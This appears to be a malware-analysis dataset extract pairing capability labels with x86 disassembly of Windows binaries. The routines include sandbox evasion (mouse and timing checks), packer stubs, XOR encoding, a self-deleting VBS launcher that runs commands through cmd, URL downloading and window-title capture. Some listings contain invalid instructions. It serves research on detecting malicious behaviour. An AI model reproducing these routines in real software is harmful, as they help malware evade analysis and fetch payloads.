joyce8/EMBER2024-capa huggingface dataset:
Function at 0x536700
Capabilities:
Check for unmoving mouse cursor

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffb4
push ebx
push esi
push edi
xor edx, edx
mov dword [ebp - 0x30], edx
mov dword [ebp - 0x34], edx
mov ebx, eax
xor eax, eax
push ebp
push 0x5368b0
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [ebx + 0x1f8]
mov edx, dword [eax]
call dword [edx + 0x14]
test eax, eax
je 0x536895
cmp dword [ebx + 0x1fc], 0
jne 0x536751
mov ecx, ebx
mov dl, 1
mov eax, dword [0x490c68]
call fcn.00493844
mov dword [ebx + 0x1fc], eax
mov eax, dword [ebx + 0x1fc]
mov eax, dword [eax + 0x34]
call fcn.00472804
mov eax, dword [ebx + 0x1f8]
mov edx, dword [eax]
call dword [edx + 0x14]
dec eax
test eax, eax
jl 0x5367de
inc eax
mov dword [ebp - 0x10], eax
mov dword [ebp - 4], 0
mov ecx, ebx
mov dl, 1
mov eax, dword [0x490b34]
call fcn.0046fd6c
mov esi, eax
mov eax, dword [ebx + 0x1fc]
mov eax, dword [eax + 0x34]
mov edx, esi
call fcn.004721d4
lea ecx, [ebp - 0x34]
mov edx, dword [ebp - 4]
mov eax, dword [ebx + 0x1f8]
mov edi, dword [eax]
call dword [edi + 0xc]
mov eax, dword [ebp - 0x34]
lea edx, [ebp - 0x30]
call fcn.00535088
mov edx, dword [ebp - 0x30]
mov eax, esi
call fcn.00491878
mov eax, dword [ebp - 4]
mov dword [esi + 0xc], eax
mov dword [esi + 0x8c], ebx
mov dword [esi + 0x88], 0x5368c0
inc dword [ebp - 4]
dec dword [ebp - 0x10]
jne 0x53677a
cmp byte [ebx + 0x201], 0
je 0x5367f2
lea eax, [ebp - 0xc]
push eax
call sub.user32.dll_GetCursorPos
jmp 0x53680c
lea ecx, [ebp - 0x3c]
mov edx, dword [ebx + 0x4c]
xor eax, eax
call fcn.00420000
lea edx, [ebp - 0x3c]
lea ecx, [ebp - 0xc]
mov eax, ebx
call fcn.0045f414
mov ecx, dword [ebp - 8]
mov edx, dword [ebp - 0xc]
mov eax, dword [ebx + 0x1fc]
mov esi, dword [eax]
call dword [esi + 0x40]
push 0
push 0x111
push 0x111
mov eax, dword [0x56a510]
mov eax, dword [eax]
mov eax, dword [eax + 0x10]
push eax
lea eax, [ebp - 0x2c]
push eax
call sub.user32.dll_PeekMessageA
cmp eax, 1
sbb eax, eax
inc eax
test al, al
jne 0x536895
lea eax, [ebp - 0xc]
push eax
call sub.user32.dll_GetCursorPos
lea ecx, [ebp - 0x3c]
lea edx, [ebp - 0xc]
mov eax, ebx
call fcn.0045f440
mov eax, dword [ebp - 0x3c]
mov dword [ebp - 0xc], eax
mov eax, dword [ebp - 0x38]
mov dword [ebp - 8], eax
push dword [ebp - 8]
push dword [ebp - 0xc]
lea edx, [ebp - 0x4c]
mov eax, ebx
mov ecx, dword [eax]
call dword [ecx + 0x44]
lea eax, [ebp - 0x4c]
push eax
call sub.user32.dll_PtInRect
test eax, eax
jne 0x536895
push ebx
xor ecx, ecx
mov edx, 0xb014
mov eax, ebx
call fcn.00460ab0
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x5368b7
lea eax, [ebp - 0x34]
mov edx, 2
call fcn.0040594c
ret
Function at 0x543ca8
Capabilities:
Check for time delay via gettickcount

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff8
push ebx
push esi
mov esi, ecx
mov byte [ebp - 1], dl
push eax
mov al, byte [ebp - 1]
push eax
mov al, byte [ebp + 8]
push eax
mov ecx, dword [0x56a7dc]
mov ecx, dword [ecx]
mov dl, 1
mov eax, dword [0x542f20]
call fcn.00543244
mov dword [ebp - 8], eax
xor eax, eax
push ebp
push 0x543d4a
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [ebp - 8]
call fcn.0047c85c
mov eax, dword [ebp - 8]
mov edx, dword [eax]
call dword [edx + 0x88]
mov eax, dword [0x56a7dc]
mov eax, dword [eax]
call fcn.0047fb1c
call sub.kernel32.dll_GetTickCount_1
mov ebx, eax
jmp 0x543d17
mov eax, dword [0x56a7dc]
mov eax, dword [eax]
call fcn.0047fe98
mov eax, dword [ebp - 8]
cmp byte [eax + 0x2fa], 0
jne 0x543d34
call sub.kernel32.dll_GetTickCount_1
sub eax, ebx
imul edx, esi, 0x3e8
cmp eax, edx
jl 0x543d0b
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x543d51
mov eax, dword [ebp - 8]
call fcn.00404370
ret
Function at 0x55ef60
Capabilities:
Get file size
Read file on windows

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffdc
push ebx
push esi
push edi
xor eax, eax
mov dword [ebp - 0x24], eax
mov dword [ebp - 0x20], eax
xor eax, eax
push ebp
push 0x55f138
push dword fs:[eax]
mov dword fs:[eax], esp
mov byte [0x56a124], 0
mov eax, dword [0x56a2c4]
cmp byte [eax], 0
je 0x55efc3
push 0
push 0x80
push 3
push 0
push 1
push 0x80000000
lea edx, [ebp - 0x20]
mov eax, dword [0x56a554]
mov eax, dword [eax]
call fcn.00490158
mov eax, dword [ebp - 0x20]
call fcn.00405b88
push eax
call sub.kernel32.dll_CreateFileW
mov ebx, eax
jmp 0x55eff4
push 0
push 0x80
push 3
push 0
push 1
push 0x80000000
lea edx, [ebp - 0x24]
mov eax, dword [0x56a7dc]
mov eax, dword [eax]
call fcn.00480714
mov eax, dword [ebp - 0x24]
call fcn.004056ac
push eax
call sub.kernel32.dll_CreateFileA_1
mov ebx, eax
cmp ebx, 0xffffffff
je 0x55f11a
push 0
push ebx
call sub.kernel32.dll_GetFileSize_1
mov edi, eax
call fcn.0055ef1c
mov esi, eax
lea eax, [esi + 0x400]
cmp edi, eax
jbe 0x55f114
push 0
push 0
push esi
push ebx
call sub.kernel32.dll_SetFilePointer_1
lea eax, [ebp - 0x1b]
xor ecx, ecx
mov edx, 0xc
call fcn.004039b0
push 0
lea eax, [ebp - 4]
push eax
push 0xb
lea eax, [ebp - 0x1b]
push eax
push ebx
call sub.kernel32.dll_ReadFile_1
mov edx, 0x55f148
lea eax, [ebp - 0x1b]
call fcn.0040e488
test eax, eax
jne 0x55f06b
mov byte [0x56a124], 1
mov dword [0x56a128], esi
jmp 0x55f114
push 2
push 0
push 0xfffffffffffffff6
push ebx
call sub.kernel32.dll_SetFilePointer_1
lea eax, [ebp - 0xf]
xor ecx, ecx
mov edx, 0xb
call fcn.004039b0
push 0
lea eax, [ebp - 4]
push eax
push 0xa
lea eax, [ebp - 0xf]
push eax
push ebx
call sub.kernel32.dll_ReadFile_1
mov edx, 0x55f154
lea eax, [ebp - 0xf]
call fcn.0040e488
test eax, eax
jne 0x55f0dd
push 2
push 0
push 0xfffffffffffffff2
push ebx
call sub.kernel32.dll_SetFilePointer_1
push 0
lea eax, [ebp - 4]
push eax
push 4
push 0x56a128
push ebx
call sub.kernel32.dll_ReadFile_1
sub edi, dword [0x56a128]
mov dword [0x56a128], edi
mov byte [0x56a124], 1
jmp 0x55f114
mov edx, 0x55f160
lea eax, [ebp - 0xf]
call fcn.0040e488
test eax, eax
jne 0x55f114
push 2
push 0
push 0xfffffffffffffff2
push ebx
call sub.kernel32.dll_SetFilePointer_1
push 0
lea eax, [ebp - 4]
push eax
push 4
push 0x56a128
push ebx
call sub.kernel32.dll_ReadFile_1
mov byte [0x56a124], 1
push ebx
call sub.kernel32.dll_CloseHandle_1
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x55f13f
lea eax, [ebp - 0x24]
call fcn.004051dc
lea eax, [ebp - 0x20]
call fcn.00405934
ret
Function at 0x40da3b
Capabilities:
Terminate process

Disassembly:
push 0x14
push 0x415438
call fcn.0040dfd1
push 1
call fcn.0040dabe
pop ecx
test al, al
jne 0x40d8e4
push 7
call fcn.0040e623
xor bl, bl
mov byte [ebp - 0x19], bl
and dword [ebp - 4], 0
call fcn.0040da89
mov byte [ebp - 0x24], al
mov eax, dword [0x4175dc]
xor ecx, ecx
inc ecx
cmp eax, ecx
je 0x40d8dd
test eax, eax
jne 0x40d94e
mov dword [0x4175dc], ecx
push 0x4112c4
push 0x4112ac
call sub.api_ms_win_crt_runtime_l1_1_0.dll__initterm_e
pop ecx
pop ecx
test eax, eax
je 0x40d931
mov dword [ebp - 4], 0xfffffffe
mov eax, 0xff
jmp 0x40da35
push 0x4112a8
push 0x411274
call sub.api_ms_win_crt_runtime_l1_1_0.dll__initterm
pop ecx
pop ecx
mov dword [0x4175dc], 2
jmp 0x40d953
mov bl, cl
mov byte [ebp - 0x19], bl
push dword [ebp - 0x24]
call fcn.0040dc1b
pop ecx
call fcn.0040e617
mov esi, eax
xor edi, edi
cmp dword [esi], edi
je 0x40d983
push esi
call fcn.0040db8e
pop ecx
test al, al
je 0x40d983
push edi
push 2
push edi
mov esi, dword [esi]
mov ecx, esi
call fcn.0040e852
call esi
call fcn.0040e61d
mov esi, eax
cmp dword [esi], edi
je 0x40d9a1
push esi
call fcn.0040db8e
pop ecx
test al, al
je 0x40d9a1
push dword [esi]
call sub.api_ms_win_crt_runtime_l1_1_0.dll__register_thread_local_exe_atexit_callback
pop ecx
push edi
call sub.VCRUNTIME140.dll___telemetry_main_invoke_trigger
pop ecx
call fcn.0040e738
movzx eax, ax
push eax
call sub.api_ms_win_crt_runtime_l1_1_0.dll__get_wide_winmain_command_line
push eax
push edi
push 0x400000
call main
mov esi, eax
push edi
call sub.VCRUNTIME140.dll___telemetry_main_return_trigger
pop ecx
call fcn.0040e76b
test al, al
jne 0x40d9da
push esi
call sub.api_ms_win_crt_runtime_l1_1_0.dll_exit
test bl, bl
jne 0x40d9e3
call sub.api_ms_win_crt_runtime_l1_1_0.dll__cexit
push edi
push 1
call fcn.0040dc38
pop ecx
pop ecx
mov dword [ebp - 4], 0xfffffffe
mov eax, esi
jmp 0x40da35
call fcn.0040e017
ret
call fcn.0040d74a
jmp 0x40d8c5

Function at 0x10006af0
Capabilities:
Contain obfuscated stackstrings

Disassembly:
mov eax, dword [0x11fffffc]
mov byte [ebp - 0x35e], 0x3c
invalid
invalid
invalid
cld

Function at 0x100076f9
Capabilities:
Contain obfuscated stackstrings

Disassembly:
and byte [ebp - 0x78b], 0
mov byte [ebp - 0x78a], 0xa0
and byte [ebp - 0x789], 0
mov byte [ebp - 0x788], 3
mov byte [ebp - 0x787], 0x3b
mov byte [ebp - 0x786], 0x33
mov byte [ebp - 0x785], 0x3c
mov byte [ebp - 0x784], 0x30
mov byte [ebp - 0x783], 0x3a
invalid
test dword [esi - 8], edi
invalid
Function at 0x414f80
Capabilities:
Packed with generic packer

Disassembly:
pushal
mov esi, 0x411015
lea edi, [esi - 0x10015]
push edi
jmp 0x414f9a
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
add ebx, ebx
jne 0x414fa1
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x414f90
mov eax, 1
add ebx, ebx
jne 0x414fb3
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
add ebx, ebx
jae 0x414fa8
jne 0x414fc4
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x414fa8
xor ecx, ecx
sub eax, 3
jb 0x414fd8
shl eax, 8
mov al, byte [esi]
inc esi
xor eax, 0xffffffff
je 0x41504a
mov ebp, eax
add ebx, ebx
jne 0x414fe3
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jne 0x414ff0
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
jne 0x415014
inc ecx
add ebx, ebx
jne 0x415000
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jae 0x414ff5
jne 0x415011
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x414ff5
add ecx, 2
cmp ebp, 0xfffff300
adc ecx, 1
lea edx, [edi + ebp]
cmp ebp, 0xfffffffc
jbe 0x415034
mov al, byte [edx]
inc edx
mov byte [edi], al
inc edi
dec ecx
jne 0x415025
jmp 0x414f96
mov eax, dword [edx]
add edx, 4
mov dword [edi], eax
add edi, 4
sub ecx, 4
ja 0x415034
add edi, ecx
jmp 0x414f96
pop esi
mov edi, esi
mov ecx, 0x1cd
mov al, byte [edi]
inc edi
sub al, 0xe8
cmp al, 1
ja 0x415052
cmp byte [edi], 3
jne 0x415052
mov eax, dword [edi]
mov bl, byte [edi + 4]
shr ax, 8
rol eax, 0x10
xchg ah, al
sub eax, edi
sub bl, 0xe8
add eax, esi
mov dword [edi], eax
add edi, 5
mov al, bl
loop 0x415057
lea edi, [esi + 0x12000]
mov eax, dword [edi]
or eax, eax
je 0x4150c6
mov ebx, dword [edi + 4]
lea eax, [eax + esi + 0x15000]
add ebx, esi
push eax
add edi, 8
call dword [esi + 0x150a8]
xchg ebp, eax
mov al, byte [edi]
inc edi
or al, al
je 0x415084
mov ecx, edi
push edi
dec eax
repne scasb al, byte es:[edi]
push ebp
call dword [esi + 0x150b0]
or eax, eax
je 0x4150c0
mov dword [ebx], eax
add ebx, 4
jmp 0x4150a1
call dword [esi + 0x150ac]
mov ebp, dword [esi + 0x150b4]
lea edi, [esi - 0x1000]
mov ebx, 0x1000
push eax
push esp
push 4
push ebx
push edi
call ebp
lea eax, [edi + 0x19f]
and byte [eax], 0x7f
and byte [eax + 0x28], 0x7f
pop eax
push eax
push esp
push eax
push ebx
push edi
call ebp
pop eax
lea ebx, [esi - 0x1000]
lea edi, [ebx + 0x15121]
push edi
xor eax, eax
stosb byte es:[edi], al
pop ecx
dec ecx
push eax
push 1
push ebx
call ecx
popal
lea eax, [esp - 0x80]
push 0
cmp esp, eax
jne 0x415112
sub esp, 0xffffff80
jmp 0x4012e0
Function at 0x406684
Capabilities:
Check os version

Disassembly:
push ebp
mov ebp, esp
push edi
push esi
sub esp, 0x10
call fcn.00406126
mov ecx, 1
xor edx, edx
mov esi, eax
mov edi, dword [eax + 0x3c]
add esi, edi
mov eax, dword [eax + edi]
cmp eax, 0x4550
cmove edx, esi
cmp word [edx + 0x48], 6
mov dword [ebp - 0x10], edi
mov dword [ebp - 0x14], ecx
jb 0x4066d9
mov ecx, dword fs:[0x18]
xor eax, eax
mov edx, 0xffffffff
cmp ecx, 0
cmove ecx, edx
mov ecx, dword [ecx + 0x30]
cmp ecx, 0
mov dword [ebp - 0x18], ecx
mov dword [ebp - 0x14], eax
jne 0x4066e3
mov eax, dword [ebp - 0x14]
add esp, 0x10
pop esi
pop edi
pop ebp
ret
mov eax, dword [ebp - 0x10]
and eax, 0x4911b13d
mov dword [ebp - 0xc], eax
mov eax, dword [ebp - 0x18]
cmp dword [eax + 0xa4], 6
setb cl
and cl, 1
movzx edx, cl
mov dword [ebp - 0x14], edx
jmp 0x4066d9
Function at 0x406dcb
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
push edi
push esi
and esp, 0xfffffff8
sub esp, 0xc0
lea eax, [0x406750]
mov ecx, dword [esp + 0x2c]
mov dword [esp + 0x2c], 0x3bb19b75
lea edx, [esp + 0x30]
lea esi, [esp + 0xb0]
mov edi, esp
mov dword [edi], esi
mov dword [esp + 0x28], eax
mov dword [esp + 0x24], ecx
mov dword [esp + 0x20], edx
call main
mov dword [esp + 0xac], 0x22148e47
mov dword [esp + 0xa8], 0xa6907bfe
mov ecx, 0x22148e47
mov edx, 0xa6907bfe
mov esi, dword [esp + 0xb0]
mov dword [esp + 0x64], esi
mov dword [esp + 0x68], 0x10a00
mov esi, dword [0x405d7c]
mov dword [esp + 0x9c], esi
mov esi, dword [0x405d80]
mov dword [esp + 0xa0], esi
mov esi, dword [0x405d84]
mov dword [esp + 0xa4], esi
mov esi, dword [0x405d88]
mov dword [esp + 0x98], esi
mov esi, dword [0x405d8c]
mov dword [esp + 0x94], esi
mov esi, dword [esp + 0x28]
mov dword [esp + 0x1c], eax
mov dword [esp + 0x18], ecx
mov dword [esp + 0x14], edx
mov dword [esp + 0x10], esi
jmp 0x406efd
mov eax, dword [esp + 0xc]
add eax, 0xfffff000
and eax, 0xfffff000
mov dword [esp + 0x10], eax
jmp 0x406efd
lea eax, [esp + 0x30]
mov ecx, dword [esp + 0xc]
mov dword [esp + 0x7c], ecx
mov edx, dword [esp + 0x24]
add edx, 0x70822fef
mov dword [esp + 0x2c], edx
mov edx, dword [esp + 8]
mov esi, dword [edx + 0x50]
mov dword [esp + 0x80], esi
mov esi, dword [esp + 0xb8]
mov dword [esp], eax
mov dword [esp + 4], esi
call fcn.00407aba
mov ecx, esp
lea edx, [esp + 0x30]
mov dword [ecx], edx
call eax
sub esp, 4
mov eax, 1
lea esp, [ebp - 8]
pop esi
pop edi
pop ebp
ret
mov eax, dword [esp + 0x10]
cmp word [eax], 0x5a4d
mov dword [esp + 0xc], eax
jne 0x406e95
mov eax, dword [esp + 0xc]
mov ecx, dword [eax + 0x3c]
add eax, ecx
mov edx, dword [esp + 0xc]
cmp dword [edx + ecx], 0x4550
mov dword [esp + 8], eax
je 0x406ea9
jmp 0x406e95
Function at 0x438c9c
Capabilities:
Encode data using xor

Disassembly:
mov eax, 0x438a14
mov esi, 0x811b72ec
sub ecx, esi
add esi, esi
call fcn.00438cd3
mov esi, esi
xor dword [edx], eax
and ecx, ecx
inc esi
add edx, 1
sub ecx, 0xa3467345
dec ecx
cmp edx, ebx
jne fcn.00438c9c
add esi, 1
add ecx, ecx
dec esi
ret

Function at 0x1001e34
Capabilities:
Parse pe header

Disassembly:
push 0x60
push 0x10011e0
call fcn.01002c88
mov edi, 0x94
mov eax, edi
call fcn.01002df0
mov dword [ebp - 0x18], esp
mov esi, esp
mov dword [esi], edi
push esi
call dword [0x10010a8]
mov ecx, dword [esi + 0x10]
mov dword [0x10062b8], ecx
mov eax, dword [esi + 4]
mov dword [0x10062c4], eax
mov edx, dword [esi + 8]
mov dword [0x10062c8], edx
mov esi, dword [esi + 0xc]
and esi, 0x7fff
mov dword [0x10062bc], esi
cmp ecx, 2
je 0x1001e94
or esi, 0x8000
mov dword [0x10062bc], esi
shl eax, 8
add eax, edx
mov dword [0x10062c0], eax
cmp word [0x1000000], 0x5a4d
jne 0x1001ed0
mov eax, dword [0x100003c]
lea eax, [eax + 0x1000000]
cmp dword [eax], 0x4550
jne 0x1001ed0
movzx ecx, word [eax + 0x18]
cmp ecx, 0x10b
je 0x1001ee9
cmp ecx, 0x20b
je 0x1001ed6
and dword [ebp - 0x1c], 0
jmp 0x1001efd
cmp dword [eax + 0x84], 0xe
jbe 0x1001ed0
xor ecx, ecx
cmp dword [eax + 0xf8], ecx
jmp 0x1001ef7
cmp dword [eax + 0x74], 0xe
jbe 0x1001ed0
xor ecx, ecx
cmp dword [eax + 0xe8], ecx
setne cl
mov dword [ebp - 0x1c], ecx
push 0
call fcn.01002c2a
pop ecx
test eax, eax
jne 0x1001f2a
cmp dword [0x10062a8], 1
jne 0x1001f17
call fcn.01002406
push 0x1c
call fcn.01002219
push 0xff
call fcn.01002078
pop ecx
pop ecx
and dword [ebp - 4], 0
call fcn.01002a5a
test eax, eax
jge 0x1001f3f
push 0x1b
call fcn.01001e05
pop ecx
call dword [0x10010ac]
mov dword [0x1006854], eax
call fcn.0100292d
mov dword [0x10062a0], eax
call fcn.01002884
test eax, eax
jge 0x1001f65
push 8
call fcn.01001e05
pop ecx
call fcn.0100262a
test eax, eax
jge 0x1001f76
push 9
call fcn.01001e05
pop ecx
call fcn.010020d2
mov dword [ebp - 0x28], eax
test eax, eax
je 0x1001f89
push eax
call fcn.01001e05
pop ecx
and dword [ebp - 0x44], 0
lea eax, [ebp - 0x70]
push eax
call dword [fcn.010010b0]
call fcn.010025bc
mov dword [ebp - 0x20], eax
test byte [ebp - 0x44], 1
je 0x1001fab
movzx eax, word [ebp - 0x40]
jmp 0x1001fae
push 0xa
pop eax
push eax
push dword [ebp - 0x20]
push 0
push 0x1000000
call fcn.01001c3d
mov esi, eax
mov dword [ebp - 0x2c], esi
cmp dword [ebp - 0x1c], 0
jne 0x1001fcf
push esi
call fcn.010021b2
call fcn.010021ea
jmp 0x1002001
or dword [ebp - 4], 0xffffffff
mov eax, esi
lea esp, [ebp - 0x7c]
call fcn.01002cc3
ret
Function at 0x433002
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
mov eax, section..text
nop
push 4
nop
nop
nop
nop
nop
nop
pop edi
nop
nop
nop
nop
cmp eax, 0
nop
nop
nop
nop
nop
je 0x433072
nop
nop
mov ebx, 0x40de38
mov ecx, ebx
nop
nop
nop
nop
nop
nop
nop
nop
sub ecx, eax
nop
nop
xor edx, edx
nop
nop
nop
nop
nop
nop
push eax
nop
nop
nop
nop
nop
mov eax, ecx
nop
nop
div edi
nop
nop
nop
nop
nop
nop
nop
xchg ecx, eax
nop
nop
pop eax
nop
nop
nop
mov esi, 0x48451de7
nop
nop
xor dword [eax], esi
nop
nop
nop
nop
nop
add eax, edi
nop
nop
nop
nop
nop
nop
loop 0x433060
nop
mov eax, section..data
nop
nop
cmp eax, 0
nop
nop
nop
je 0x4330d2
nop
nop
mov ebx, 0x4304d8
nop
nop
nop
nop
nop
mov ecx, ebx
nop
sub ecx, eax
nop
nop
nop
nop
xor edx, edx
nop
nop
nop
nop
nop
nop
push eax
nop
nop
nop
nop
nop
nop
mov eax, ecx
nop
nop
nop
div edi
nop
nop
nop
nop
nop
nop
xchg ecx, eax
nop
nop
pop eax
nop
nop
nop
mov esi, 0x26f569dc
nop
nop
xor dword [eax], esi
nop
nop
nop
nop
add eax, edi
nop
nop
nop
nop
nop
nop
nop
loop 0x4330c0
nop
nop
nop
popal
nop
nop
jmp 0x431219
Function at 0x40d83a
Capabilities:
Create process on windows
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x2c8
push esi
push edi
call fcn.0041288b
mov esi, 0x475348
mov ecx, esi
call fcn.0040247c
push eax
mov ecx, esi
call fcn.00401fab
push eax
mov esi, 0x208
lea eax, [ebp - 0x2c8]
push esi
push eax
push str.nhmtnyy
mov ecx, 0x475300
call fcn.00401fab
mov edx, eax
call fcn.00413733
add esp, 0x14
xor edi, edi
test al, al
jne 0x40d89a
push esi
lea eax, [ebp - 0x2c8]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
push str..vbs
lea ecx, [ebp - 0x48]
call fcn.0041ba09
mov edx, eax
lea ecx, [ebp - 0x30]
call fcn.0041bcef
mov edx, eax
lea ecx, [ebp - 0x78]
call fcn.00403014
pop ecx
lea ecx, [ebp - 0x30]
call fcn.00401f09
lea ecx, [ebp - 0x48]
call fcn.00401fd8
lea eax, [ebp - 0x78]
push eax
push 0x466618
push 0x466f98
call fcn.0043c11f
pop ecx
push eax
lea ecx, [ebp - 0x30]
call fcn.0040417e
mov edx, eax
lea ecx, [ebp - 0x48]
call fcn.00403014
pop ecx
mov edx, eax
lea ecx, [ebp - 0x60]
call fcn.0040431d
pop ecx
lea ecx, [ebp - 0x48]
call fcn.00401f09
lea ecx, [ebp - 0x30]
call fcn.00401f09
lea ecx, [ebp - 0x18]
call fcn.00401f86
push 0x467140
push 0x467144
lea ecx, [ebp - 0xc0]
call fcn.0040417e
push eax
lea eax, [ebp - 0x2c8]
push eax
push str.CreateObject__WScript.Shell__.Run__cmd__c___
lea ecx, [ebp - 0xa8]
call fcn.0040417e
mov edx, eax
lea ecx, [ebp - 0x90]
call fcn.00403014
pop ecx
mov edx, eax
lea ecx, [ebp - 0x30]
call fcn.00402fa5
pop ecx
mov edx, eax
lea ecx, [ebp - 0x48]
call fcn.00403014
pop ecx
push eax
lea ecx, [ebp - 0x18]
call fcn.0040325d
lea ecx, [ebp - 0x48]
call fcn.00401f09
lea ecx, [ebp - 0x30]
call fcn.00401f09
lea ecx, [ebp - 0x90]
call fcn.00401f09
lea ecx, [ebp - 0xa8]
call fcn.00401f09
lea ecx, [ebp - 0xc0]
call fcn.00401f09
push str.CreateObject__Scripting.FileSystemObject__.DeleteFile_Wscript.ScriptFullName_
lea ecx, [ebp - 0x18]
call fcn.0040908d
push edi
lea ecx, [ebp - 0x60]
call fcn.00401f04
push eax
lea ecx, [ebp - 0x18]
call fcn.0040247c
mov esi, eax
lea ecx, [ebp - 0x18]
add esi, esi
call fcn.00401f04
mov edx, esi
mov ecx, eax
call fcn.0041c482
pop ecx
pop ecx
test al, al
je 0x40da05
push edi
mov eax, 0x466478
lea ecx, [ebp - 0x60]
push eax
push eax
call fcn.00401f04
push eax
push 0x466118
push edi
call dword [sym.imp.SHELL32.dll_ShellExecuteW]
cmp eax, 0x20
jle 0x40da05
push edi
call dword [sym.imp.KERNEL32.dll_ExitProcess]
lea ecx, [ebp - 0x18]
call fcn.00401f09
lea ecx, [ebp - 0x60]
call fcn.00401f09
lea ecx, [ebp - 0x78]
call fcn.00401f09
pop edi
pop esi
mov esp, ebp
pop ebp
ret
Function at 0x41b411
Capabilities:
Create http request
Read data from internet
Receive data

Disassembly:
sub esp, 0x24
push ebx
push ebp
push esi
push edi
mov ebx, ecx
call fcn.004020df
xor esi, esi
push 0xffff
mov dword [esp + 0x14], esi
call fcn.0043bda0
pop ecx
push esi
push esi
push esi
push 1
push esi
mov edi, eax
call dword [sym.imp.WININET.dll_InternetOpenW]
push esi
push closesocket
push esi
push esi
mov ebp, eax
push str.spqedlugrrjygdovgnet_json.gp
push ebp
call dword [sym.imp.WININET.dll_InternetOpenUrlW]
mov esi, eax
and dword [esp + 0x10], 0
lea eax, [esp + 0x10]
push eax
push 0xffff
push edi
push esi
call dword [sym.imp.WININET.dll_InternetReadFile]
mov ecx, dword [esp + 0x10]
mov dword [esp + 0x14], eax
test ecx, ecx
je 0x41b49d
push ecx
push edi
lea ecx, [esp + 0x20]
call fcn.004020b7
push eax
mov ecx, ebx
call fcn.00403376
lea ecx, [esp + 0x18]
call fcn.00401fd8
mov ecx, dword [esp + 0x10]
mov eax, dword [esp + 0x14]
cmp eax, 1
jne 0x41b4a6
test ecx, ecx
jne 0x41b456
push esi
mov esi, dword [sym.imp.WININET.dll_InternetCloseHandle]
call esi
push ebp
call esi
push edi
call fcn.0043bd9b
pop ecx
pop edi
pop esi
pop ebp
mov eax, ebx
pop ebx
add esp, 0x24
ret

Function at 0x41ba87
Capabilities:
Download url
Receive data

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x60
push ebx
push esi
push edi
xor edi, edi
mov ebx, edx
test ecx, ecx
je 0x41bb1e
push edi
push edi
lea eax, [ebp - 8]
push eax
push ecx
push edi
call dword [sym.imp.urlmon.dll_URLOpenBlockingStreamW]
test eax, eax
js 0x41bb1e
mov eax, dword [ebp - 8]
lea edx, [ebp - 0x5c]
push 1
push edx
push eax
mov ecx, dword [eax]
call dword [ecx + 0x30]
test eax, eax
js 0x41bb15
mov esi, dword [ebp - 0x54]
inc esi
push esi
mov dword [ebp - 0x54], esi
call fcn.0043bda0
mov dword [ebx], eax
pop ecx
test eax, eax
je 0x41bb15
push 8
lea eax, [ebp - 0x14]
push edi
push eax
call fcn.00436f10
push esi
push edi
push dword [ebx]
call fcn.00436f10
add esp, 0x18
lea eax, [esi - 1]
mov esi, dword [ebp + 8]
push edi
push edi
push dword [ebp - 0x10]
mov dword [esi], eax
mov eax, dword [ebp - 8]
push dword [ebp - 0x14]
push eax
mov ecx, dword [eax]
call dword [ecx + 0x14]
mov eax, dword [ebp - 8]
push edi
push dword [esi]
push dword [ebx]
mov ecx, dword [eax]
push eax
call dword [ecx + 0xc]
inc edi
mov ecx, dword [ebp - 8]
push ecx
mov edx, dword [ecx]
call dword [edx + 8]
mov eax, edi
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x41bb27
Capabilities:
Get graphical window text

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x200
lea eax, [ebp - 0x200]
push esi
push 0x200
push 0
push eax
mov esi, ecx
call fcn.00436f10
add esp, 0xc
call dword [sym.imp.USER32.dll_GetForegroundWindow]
push 0x100
lea ecx, [ebp - 0x200]
push ecx
push eax
call dword [sym.imp.USER32.dll_GetWindowTextW]
lea eax, [ebp - 0x200]
mov ecx, esi
push eax
call fcn.0040417e
mov eax, esi
pop esi
mov esp, ebp
pop ebp
ret